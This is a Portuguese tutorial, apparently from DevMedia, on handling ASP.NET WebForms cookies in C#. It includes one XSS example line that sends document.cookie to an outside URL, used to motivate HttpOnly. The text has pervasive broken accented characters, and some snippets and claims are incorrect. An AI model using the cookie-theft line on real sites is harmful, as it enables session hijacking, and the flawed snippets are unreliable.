Gravação, Leitura e Remoção de Cookies no ASP.NET

Cookies s�o informa��es guardadas no nosso browser em pequenas partes de um documento que est�o relacionadas diretamente a um determinado endere�o na web. Em outras palavras, trata-se de partes de dados enviados para um determinado site da web. Estes ficam armazenados em um arquivo de texto criado localmente na m�quina do usu�rio que est� acessando aquele determinado site. Por exemplo, quando acessamos uma loja virtual e adicionamos itens ao nosso �carrinho� e n�o finalizamos a compra, posteriormente recebemos e-mail referente a aqueles produtos, isso porque as informa��es das compras ficaram guardadas nos cookies.

Existem v�rios tipos de cookies. S�o eles:

Cookies de Sess�o: S�o tempor�rios e que permanecem no seu navegador at� o fechamento do mesmo. Eles duram o mesmo tempo que a sua sess�o no servidor. Mesmo que esteja definida sua expira��o para uma data superior, os mesmos ser�o destru�dos ap�s o encerramento da sess�o.
Cookies Persistentes: S�o aqueles que permanecem mesmo que termine a sess�o com o servidor. Eles s�o destru�dos apenas quando excedem o seu tempo de expira��o. Por padr�o, o ASP .NET utiliza o cookie n�o persistente para armazenar uma sess�o.
Cookies de Desempenho: S�o utilizados para obter informa��es de como os usu�rios interagem dentro de uma determinada aplica��o. No momento destas intera��es os cookies s�o respons�veis por colher informa��es como, n�mero de p�ginas visitadas, mensagens de erro (quando apresentadas), tempo de dura��o de cada sess�o, itens clicados em uma determinada p�gina, dispositivo utilizado no acesso do usu�rio, browser utilizado pelo usu�rio, dentre outras informa��es. Uma ferramenta interessante para os cookies de desempenho � o Google Analytics (vide se��o Links).
Cookies de Funcionalidade: S�o respons�veis por efetuar alguma fun��o ou a��o dentro de uma determinada aplica��o, como efetuar a autentica��o de um usu�rio, definir o idioma regional do website, prefer�ncias e etc., obter informa��es do usu�rio logado e carregar um carrinho de compras com produtos pesquisados anteriormente;
Cookies de Segmenta��o e Publicidade: S�o respons�veis por fornecer an�ncios mais relevantes e interessantes para o usu�rio. S�o respons�veis por monitorarem os passos mesmo na web, assim recolhendo e registrando informa��es. Ou seja, o usu�rio poder� receber an�ncios de terceiros, respeitando uma pol�tica de cookies entre os terceiros.
Cookies estritamente necess�rios: S�o respons�veis por permitirem a navega��o e utiliza��o de algumas funcionalidades como, por exemplo, o carrinho compras em uma loja virtual. Em outras palavras, s�o cookies que se fazem necess�rio para o funcionamento de uma determinada aplica��o.

Praticamente todos os navegadores s�o configurados por padr�o para aceitarem automaticamente os cookies. Por�m, podemos alterar as configura��es para bloquear os mesmos ou alertar-nos no momento em que um cookie estiver sendo enviado. Mas essas pr�ticas n�o s�o interessantes, pois o intuito dos cookies � facilitar a vida do usu�rio.

Existem diversas formas de gerenciar os cookies e depende de navegador para navegador.

Como funcionam

Os cookies funcionam com informa��o no formato de texto Chave � Valor, ou seja, para cada chave existe um valor espec�fico associado. Eles ficam armazenados em diret�rios diferentes, de acordo com cada navegador, e essas informa��es podem ser acessadas a qualquer momento, desde que o mesmo ainda n�o esteja expirado e/ou exclu�dos pelo usu�rio.

Listagem 1. Formato Cookies


   valorNome = "Thiago Darlei Santana Souza";
  valorNaturalidade = "Rio Real/BA";
  valorIdade = "26 anos";
  valorProfissao = "Analista Programador";
  valorSexo = "Masculino";
  valorCidade = "Rio Real/BA";
  valorEndereco = "Rua Joaquim Matos";

Na Listagem 1 mostramos a disposi��o de como as informa��es ficam armazenadas no cookie. Para toda chave (ValorNome, ValorNaturalidade, ValorIdade, ValorProfissao e assim sucessivamente), tem-se um valor respectivo (�Thiago Darlei Santana Souza�, �Rio Real/BA�, �26 anos�, �Analista Programador�).

Ao enviar um cookie para o cliente, como faremos mais a frente, algumas informa��es adicionais s�o passadas:

Expires: propriedade respons�vel por definir o tempo de expira��o do cookie;
Domain: propriedade respons�vel por definir em qual dom�nio os cookies poder�o ser acessados, criados, removidos ou alterados. � poss�vel determinar um dom�nio espec�fico, desde que siga a nomenclatura do nome corretamente como, por exemplo, �globo.com� ou �intranet.globo�. Est� � uma forma de, por exemplo, os cookies s� poderem ser acessados na intranet de uma determinada empresa;
Path: propriedade respons�vel por definir qual diret�rio ter� acesso a armazenar e obter as informa��es dos cookies criados. Al�m do diret�rio principal, podemos definir os subdiret�rios, limitando assim que apenas uma parte de uma determinada aplica��o tenha acesso �s informa��es do cookie.
O Path e o dom�nio s�o Case-sensitive, ou seja, o caminho definido deve estar igual ao caminho real da aplica��o, diferenciando letras mai�sculas de min�sculas, caso contr�rio, n�o ir�o funcionar como esperado.
Secure: propriedade respons�vel por especificar qual protocolo de seguran�a ser� utilizado para o tr�fego de informa��es entre os cookies. Existem duas op��es dispon�veis: SSL (Padr�o global de seguran�a em tecnologia, que cria um canal criptografado entre um servidor web e um navegador) ou S-HTTP (mais conhecido como protocolo HTTP protegido, que � uma tecnologia de seguran�a em transa��es HTTP muito utilizada em com�rcios eletr�nicos).

Limita��es nos cookies

Por trafegar no protocolo HTTP sem criptografia, o cookie � limitado em v�rios aspectos, como por exemplo:

Seu tamanho total n�o pode ultrapassar um valor total de 4kb;
Cada site s� tem permiss�o de criar, no m�ximo, 20 cookies por cliente (m�quina);
Cada cliente, segundo a Microsoft, pode ter at� 300 cookies na sua m�quina;

O motivo dessas limita��es se d� pelo fato de que o intuito dos cookies n�o � guardar informa��es sigilosas, mas sim ter informa��es de comportamento do usu�rio nas respectivas p�ginas.

Em ASP.NET temos a possibilidade de utilizar os cookies por meio dos objetos Request e Response. A seguir listaremos alguns m�todos existentes que facilitar�o a nossa implementa��o:

Response.Cookies(�idCookie�): respons�vel por efetuar a grava��o do cookie;
Response.Cookies(�idCookie�).Expires = data: respons�vel por definir a validade do cookie;
Response.Cookies(�idCookie�).Domain = �globo.com�: respons�vel por definir o dom�nio do cookie;
Response.Cookies(�idCookie�).Path = �/dados�: respons�vel por definir o diret�rio de p�ginas que o cookie ser� aplicado;
Response.Cookies(�idCookie�)(�nomeValor�) = �Valor�: respons�vel por adicionar v�rios valores ao cookie;
variavel = Request.Cookies(�idCookie�): respons�vel por ler o cookie;
Vari�vel = Request.Cookies(�idCookie�)(�nomeValor�): respons�vel por ler determinado valor do cookie;

A Classe HttpCookie do ASP.NET nos fornece todos os m�todos necess�rios para criar e manipular nossos cookies nos cabe�alhos das nossas aplica��es.

Para termos acesso a essas classes, basta acessarmos os seguintes namespaces:System.Web (Request e Response) e System.Web.HttpCookie (HttpCookie).

Neste artigo abordaremos apenas o ASP.NET C# com WebForms, pois a utiliza��o de cookies utilizando MVC funciona de uma forma totalmente diferente (vide se��o Links), n�o fazendo o uso das classes HttpCookie, Request e Response, e sim da classe ControllerActionInvoker, assim fugindo do foco do artigo.

Na Listagem 2 demonstraremos os m�todos b�sicos necess�rios para efetuar a grava��o, remo��o e leitura de cookie utilizando o C#.

Listagem 2. Corpo HTML da nossa aplica��o


  <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="WebForm1.aspx.cs" Inherits="CookieDevmedia.Cookie" %>
   
  <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   
  <html xmlns="http://www.w3.org/1999/xhtml">
  <head runat="server">
      <title> C# - Usando cookies </title>
  </head>
  <body>
      <h1>Grava��o, Leitura e Remo��o de Cookie utilizando ASP. NET</h1>
      <form id="form1" runat="server">
      <div>
          <asp:Button ID="btnGravar" runat="server" OnClick="btnGravar_Click" Text="Gravar Cookies"
              Width="120px" Height="30px" 
              ToolTip="Efetua a grava��o dos dados no cookies!" />
          <br />
          <asp:Button ID="btnLer" runat="server" OnClick="btnLer_Click" 
              Text="Ler Cookies" Width="120px" Height="30px" 
              ToolTip="Efetua a leitura dos cookies!" />
          <br />
          <asp:Button ID="btnRemoverCookie" runat="server" OnClick="btnRemoverCookie_Click"
              Text="Remover Cookies" Width="120px" Height="30px" 
              ToolTip="Efetua a remo��o dos dados no cookies!" />
          <br />
          <asp:Literal ID="ltrCookie" runat="server"></asp:Literal>
      </div>
      </form>
  </body>
  </html>

Listagem 3. C�digo C# para funcionamento da aplica��o


  using System;
  using System.Collections.Generic;
  using System.Linq;
  using System.Web;
  using System.Web.UI;
  using System.Web.UI.WebControls;
   
  namespace CookieDevmedia
  {
      public partial class _Default : System.Web.UI.Page
      {        
          /*
           * M�todo 01
           * M�todo respons�vel por efetuar a Grava��o de um Cookie
           */
          private void GravandoDadosCookie(string nomeCookie)
          {
              // Verificando se j� existe o cookie na m�quina do usu�rio
              HttpCookie cookie = Request.Cookies[nomeCookie];
              if (cookie == null)
              {
                  // Criando a Inst�ncia do cookie
                  cookie = new HttpCookie(nomeCookie);
                  //Adicionando a propriedade "Nome" no cookie
                  cookie.Values.Add("valorNome", "Thiago Darlei Santana Souza");
                  //Adicionando a propriedade "Naturalidade" no cookie
                  cookie.Values.Add("valorNaturalidade", "Rio Real/BA");
                  //Adicionando a propriedade "Idade" no cookie
                  cookie.Values.Add("valorIdade", "26 anos");
                  //Adicionando a propriedade "Profiss�o" no cookie
                  cookie.Values.Add("valorProfiss�o", "Analista Programador");
                  //colocando o cookie para expirar em 365 dias
                  cookie.Expires = DateTime.Now.AddDays(365);
                  // Definindo a seguran�a do nosso cookie
                  cookie.HttpOnly = true;
                  // Registrando cookie
                  this.Page.Response.AppendCookie(cookie);
   
              }
          }
   
          /*
           * M�todo 02
           *  M�todo respons�vel por obter as propriedades de um cookie caso ele exista
           */
   
          public void getPropriedadesCookie(string nomeCookie)
          {
              // Obt�m a requisi��o com dos dados do cookie
              HttpCookie cookie = ObterRequisicaoCookie(nomeCookie);
              if (cookie != null)
              {
                  // Separa os valores das propriedade
                  string[] valores = cookie.Value.ToString().Split('&');
                  // Varre os valores das propriedades encontrados
                  for (int i = 0; i < valores.Length; i++)
                  {
                      // Escreve os valores das propriedades encontradas
                      ltrCookie.Text += "Cookie - Propriedade: " + (i + 1) + " - " + valores[i] + "<br>";
                  }
              }
              else ltrCookie.Text = string.Empty;
          }
   
          /*
           * M�todo 03
           * M�todo respons�vel por Obter a requisi��o HttpCookie de um determinado cookie caso ele exista
           */
          private HttpCookie ObterRequisicaoCookie(string nomeCookie)
          {
              try
              {
                  // Retornando o cookie caso exista
                  return this.Page.Request.Cookies[nomeCookie];
              }
              catch
              {
                  // Caso n�o exista o cookie informado, retorna NULL
                  return null;
              }
          }
   
          /*
          * M�todo 04
          * M�todo respons�vel por remover um determinado cookie
          */
          private void removerCookie(string nomeCookie)
          {
              // Removendo o Cookie
              Response.Cookies[nomeCookie].Expires = DateTime.Now.AddDays(-1);
          }              
   
   
          protected void btnGravar_Click(object sender, EventArgs e)
          {
              GravandoDadosCookie("THIAGO_SANTANA");
          }
   
          protected void btnLer_Click(object sender, EventArgs e)
          {
              getPropriedadesCookie("THIAGO_SANTANA");   
          }
   
          protected void btnRemoverCookie_Click(object sender, EventArgs e)
          {
              removerCookie("THIAGO_SANTANA");
              ltrCookie.Text = string.Empty;
          }
      }
  }

Na Listagem 3 temos quatro m�todos auxiliares para efetuarmos as opera��es b�sicas com os cookies:

M�todo 01: Respons�vel por gravar os dados definidos, caso os mesmos n�o existam. Nosso cookie poder� ter v�rias propriedades, como Nome, Naturalidade, Idade e Profiss�o;
M�todo 02: Respons�vel por efetuar a leitura das propriedades do cookie armazenado anteriormente. Passamos como par�metro o nome do cookie que desejamos obter os dados e, caso exista, o m�todo retornar� uma inst�ncia do cookie. Caso ele n�o exista, ser� retornado o valor nulo. Com essa inst�ncia podemos acessar as propriedades que definimos no M�todo 01;
M�todo 03: Respons�vel por obter um objeto HttpCookie que cont�m as informa��es relacionadas ao nome do cookie passado como par�metro;
M�todo 04: Respons�vel por remover um determinado cookie, passando como par�metro o nome do mesmo. Em outras palavras, a remo��o do cookie � efetuada quando o mesmo expira. A classe HttpCookie fica respons�vel por verificar os cookies expirados e automaticamente remover os mesmos.

Limitando Cookies dentro de um Escopo ou Dom�nio

Cada p�gina da sua aplica��o recebe todos os cookies referentes a mesma. Por�m, podemos definir o escopo dos nossos cookies das seguintes formas:

Podemos limitar os cookies, definindo em qual pasta do servidor os mesmos podem ser acessados. Em outras palavras, nossos cookies s� estar�o dispon�veis em p�ginas HTML que estiverem dentro de uma pasta definida por n�s dentro da nossa aplica��o, como mostra o exemplo a seguir:
```
//Defini��o do Path (Caminho F�sico) para os cookies na aplica��o.
cookie.Expires.Path = "/Cadastros";
```
Assim, definimos que os cookies da nossa aplica��o s� podem ser acessados apenas por p�ginas que se encontram dentro da pasta �Cadastros�.

Podemos tamb�m limitar o acesso aos cookies definindo o dom�nio e subdom�nios que poder�o ter acesso a essas informa��es dentro da nossa aplica��o, como mostra a Listagem 4.
Listagem 4. Definindo o dom�nio dos cookies em nossa aplica��o

//Defini��o do dom�nio para que os cookies sejam acessados em um dom�nio espec�fico.
Response.Cookies.("domain").Domain = "meudominio.com";
//Defini��o do dom�nio para que os cookies sejam acessados apenas na intranet.
Response.Cookies.("domain").Domain = "intranet.globo.com";

Veja que definimos o nosso escopo para que apenas as p�ginas que estiverem dentro do dom�nio �meudominio.com� tivessem acesso aos dados do cookie.

Seguran�a nos cookies usando HTTPOnly

HTTPOnly � uma propriedade existente nos cookies respons�vel por definir uma seguran�a, onde as informa��es contidas neles n�o podem ser acessadas via ataques maliciosos, utilizamos esta propriedade em nosso m�todo �GravandoDadosCookie�. Com isso, os dados gravados s� poder�o ser acessados via nossa aplica��o, desde que esta propriedade esteja habilitada no navegador utilizado.

Com este modo de seguran�a os roubos de dados atrav�s de XSS � Cross Site Scripting s�o dificultados e n�o conseguem ler o conte�do do mesmo. XSS � um tipo de vulnerabilidade do sistema de seguran�a em aplica��es web, que ativam ataques maliciosos injetando scripts.

No exemplo da Listagem 5 temos um script malicioso utilizando XSS para obter as informa��es das propriedades dos cookies existente na m�quina do usu�rio.

Listagem 5. Exemplo de tentativa de XSS

//Exemplo de um XSS para obter informa��es dos cookies.
 location.href = 'http://globoesporte.globo.com/?cookies=' + document.cookie;

Os navegadores que suportam este tipo de seguran�a s�o:

Chrome a partir da vers�o 24;
Chrome Mobile a partir da vers�o 18;
Firefox a partir da vers�o 18;
IE a partir da vers�o 8;
Opera a partir da vers�o 12.11;
Opera Mobile a partir da vers�o 12;
Safari a partir da vers�o 6.0.2;
Android a partir da vers�o 4.0;
Backberry a partir da vers�o 7.0
iPhone 5 e iPhone 6.

Apesar de definirmos um tempo de expira��o longo para os cookies, devemos nos atentar que os usu�rios podem limpar o hist�rico de cookies do browser no momento que quiserem, por isso, devemos nos atentar a forma como utilizamos os mesmos, sempre verificando se o cookie que queremos ainda se encontra dispon�vel. Podemos verificar se o cookie existe utilizando o M�todo 03 da nossa Listagem 3. Caso retorne o valor nulo, � sinal de que o cookie foi expirado ou exclu�do pelo usu�rio.

Al�m disso, atente-se ao padr�o de armazenamento de cookies em cada navegador. N�o significa que um cookie que foi gravado utilizando o Internet Explorer estar� acess�vel utilizando outro navegador como, por exemplo, o Chrome ou o Mozilla Firefox.

Podemos concluir que o uso dos cookies s�o de suma import�ncia em nossas aplica��es, tornando as nossas aplica��es mais elegantes. Espero que tenham gostado do assunto.

At� o pr�ximo artigo!

Links

HTTOnly
https://msdn.microsoft.com/pt-br/library/system.web.httpcookie.httponly(v=vs.110).aspx

HttpCookie
https://msdn.microsoft.com/pt-br/library/System.Web.HttpCookie(v=vs.110).aspx

Google Analytics
https://developers.google.com/analytics/devguides/collection/analyticsjs/cookie-usage

XSS � Cross Site Scripting
http://www.redesegura.com.br/2012/01/saiba-mais-sobre-o-cross-site-scripting-xss/

Uso do Cookie com MVC
http://www.codeproject.com/Questions/384164/Create-Cookie-Step-by-step-in-MVC
http://stephenwalther.com/archive/2008/07/08/asp-net-mvc-tip-15-pass-browser-cookies-and-server-variables-as-action-parameters

Tecnologias:

Confira outros conte�dos:

Teste unit�rio com NUnit

Como migrar projetos do ASP.NET MVC...

Crie relat�rios com o Stimulsoft...

Assista grátis a nossa aula inaugural

Perguntas frequentes

Quem somos?

Por que a programação se tornou a profissão mais promissora da atualidade?

Como faço para começar a estudar?

Em quanto tempo de estudo vou me tornar um programador?

Sim, você pode se tornar um programador e não precisa ter diploma de curso superior!

O que eu irei aprender estudando pela DevMedia?

Principais diferenciais da DevMedia

Qual o investimento financeiro que preciso fazer para me tornar um programador?

Como funciona a forma de pagamento da DevMedia?

Por Thiago Em 2015

Nossos casos de sucesso

Leonardo Carlos

Eu sabia pouqu�ssimas coisas de programa��o antes de come�ar a estudar com voc�s, fui me especializando em v�rias �reas e ferramentas que tinham na plataforma, e com essa bagagem consegui um est�gio logo no in�cio do meu primeiro per�odo na faculdade.

Lucas Rodrigues

Estudo aqui na Dev desde o meio do ano passado! Nesse per�odo a Dev me ajudou a crescer muito aqui no trampo.
Fui o primeiro desenvolvedor contratado pela minha empresa. Hoje eu lidero um time de desenvolvimento!
Minha meta � continuar estudando e praticando para ser um Full-Stack Dev!

Her�clito J�nior

Economizei 3 meses para assinar a plataforma e sendo sincero valeu muito a pena, pois a plataforma � bem intuitiva e muuuuito did�tica a metodologia de ensino. Sinto que estou EVOLUINDO a cada dia. Muito obrigado!

Julio Cablen

Nossa! Plataforma maravilhosa. To amando o curso de desenvolvimento front-end, tinha coisas que eu ainda n�o tinha visto. A did�tica � do jeito que qualquer pessoa consegue aprender. S�rio, to apaixonado, adorando demais.

Joelberth Sena

Adquiri o curso de voc�s e logo percebi que s�o os melhores do Brasil. � um passo a passo incr�vel. S� n�o aprende quem n�o quer. Foi o melhor investimento da minha vida!

Felipe Nunes

Foi um dos melhores investimentos que j� fiz na vida e tenho aprendido bastante com a plataforma. Voc�s est�o fazendo parte da minha jornada nesse mundo da programa��o, irei assinar meu contrato como programador gra�as a plataforma.

Wanderson Oliveira

Comprei a assinatura tem uma semana, aprendi mais do que 4 meses estudando outros cursos. Exerc�cios pr�ticos que n�o tem como n�o aprender, est�o de parab�ns!

Jos� Lucas

Obrigado DevMedia, nunca presenciei uma plataforma de ensino t�o presente na vida acad�mica de seus alunos, parab�ns!

Eduardo Dorneles

Aprendi React na plataforma da DevMedia h� cerca de 1 ano e meio... Hoje estou h� 1 ano empregado trabalhando 100% com React!

Adauto Junior

J� fiz alguns cursos na �rea e nenhum � t�o bom quanto o de voc�s. Estou aprendendo muito, muito obrigado por existirem. Est�o de parab�ns... Espero um dia conseguir um emprego na �rea.

Ver todos os casos de sucesso

Grava��o, Leitura e Remo��o de Cookies no ASP.NET

Neste artigo efetuaremos a grava��o, leitura e remo��o de cookies de forma segura em nossas aplica��es web utilizando apenas as classes nativas do ASP.NET C#.